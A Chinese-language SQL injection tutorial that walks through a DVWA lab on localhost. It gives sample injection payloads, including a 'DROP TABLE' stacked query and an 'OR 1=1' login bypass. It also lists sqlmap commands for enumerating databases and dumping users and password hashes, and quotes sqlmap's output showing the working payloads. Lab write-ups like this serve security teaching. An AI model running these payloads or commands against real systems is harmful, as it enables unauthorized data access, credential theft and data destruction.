SQL injection(SQL注入),通过在输入字段或URL查询参数中执行SQL命令,导致对数据库的未经授权的访问。如果SQL注入成功,未经授权的人可能会读取、创建、更新甚至删除数据库表的记录
举个例子:
假设我们有一个搜索表单,用于通过ID搜索我们网站上的产品。如果用户在表单中输入20; DROP TABLE Products;,那么SQL语句就变成了SELECT * FROM Products WHERE product_id = 20; DROP TABLE Products;。现在,这个SQL语句会从数据库中删除Products表。这是可能的,因为大多数数据库系统可以同时执行多个语句
另一种执行SQL注入的方法是通过传递一个始终为TRUE的条件,以便无论如何都能获取数据。例如,如果用户将用户名输入为invalid_user" OR "1"="1,并将密码输入为invalid_pass" OR "1"="1,那么SQL语句就变成了SELECT * FROM Users WHERE username = "invalid_user" OR "1"="1" AND password = "invalid_pass" OR "1"= "1"。由于"1"="1"始终为TRUE,所以无论用户输入什么用户名和密码,SQL都会从数据库中获取所有用户的数据
在下面的测试中我们使用,工具sqlmap进行,下面是一些常用的sqlmap的命令
检测是否存在注入点:
python sqlmap.py -r "请求文件包路径"
这个命令用于检测指定请求文件包中是否存在 SQL 注入漏洞。
获取注入点所有数据库:
python sqlmap.py -r "响应包路径" --dbs
一旦确认存在注入点,这个命令将用于获取目标数据库服务器上的所有数据库名称。
获取当前使用的数据库:
python sqlmap.py -r "响应包路径" --current-db --batch
这个命令用于获取当前数据库服务器上正在使用的数据库。
获取数据库中的表:
python sqlmap.py -r "响应包路径" --tables -D "数据库名" --batch
一旦确认存在数据库,这个命令将用于获取指定数据库中的所有表。
获取表中的字段信息:
python sqlmap.py -r "响应包路径" --columns -T "表名" -D "数据库名" --batch
这个命令用于获取指定表中的所有字段信息。
获取字段具体信息:
python sqlmap.py -r "响应包路径" --dump -C "字段名(可多个)" -T "表名" -D "数据库名" --batch
这个命令用于获取指定表中指定字段的具体信息。
获取当前使用的账户:
python sqlmap.py -r "响应包路径" --current-user
这个命令用于获取当前数据库连接的用户。
列出所有使用过的账户:
python sqlmap.py -r "响应包路径" --users
这个命令用于列出所有在目标数据库服务器上使用过的用户。
获取 MySQL 的登录账户和密码:
python sqlmap.py -r "响应包路径" --passwords
这个命令用于获取 MySQL 数据库中存储的账户和密码。
我们先进行尝试,输入User ID显示对应的name,并且输入的ID值在URL栏中,抓包,获取请求文件。
SQLMap 需要了解应用程序如何处理用户输入并构建 SQL 查询。通常情况下是通过分析请求的方式来检测 SQL 注入漏洞的,
将请求保存到文件 ,使用 sqlmap.py -r “请求文件的路径” 来判断是否存在注入点
根据 SQLMap 的输出,已确认了 GET 参数
id
存在 SQL 注入漏洞,后端数据库管理系统(DBMS)是 MySQL,Web 应用程序使用的技术是 PHP 7.3.4 和 Apache 2.4.39。
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 150 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: id=1' OR NOT 6167=6167#&Submit=Submit Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: id=1' AND GTID_SUBSET(CONCAT(0x7178627a71,(SELECT (ELT(5600=5600,1))),0x7170766b71),5600)-- fHCD&Submit=Submit Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 2140 FROM (SELECT(SLEEP(5)))sxtb)-- lceH&Submit=Submit Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: id=1' UNION ALL SELECT CONCAT(0x7178627a71,0x4641787449665a466652656c6854747941486f476d76576569754c78454c6e6774687643746c5458,0x7170766b71),NULL#&Submit=Submit --- [21:47:55] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.3.4, Apache 2.4.39 back-end DBMS: MySQL >= 5.6 [21:47:57] [INFO] fetched data logged to text files under 'C:\Users\LI\AppData\Local\sqlmap\output\127.0.0.1'
获取所有数据库名
python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt -dbs
available databases [2]:
[*] dvwa
[*] information_schema
获取当前数据库名
python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt --current-db --batch
获取数据库表信息:
python .\sqlmap.py -r C:\Users\LI\Desktop\请求文件.txt -D DVWA -tables
获取DVWA数据库user表的列:
python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt -D dvwa --tables
尝试检索并显示指定列的数据 (会对CPU造成较大的负担,风扇声音较大是正常的)
python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt -D dvwa -T users -C user,password,user_id --dump
使用工具注入,步骤相似,略
使用工具注入,步骤相似,略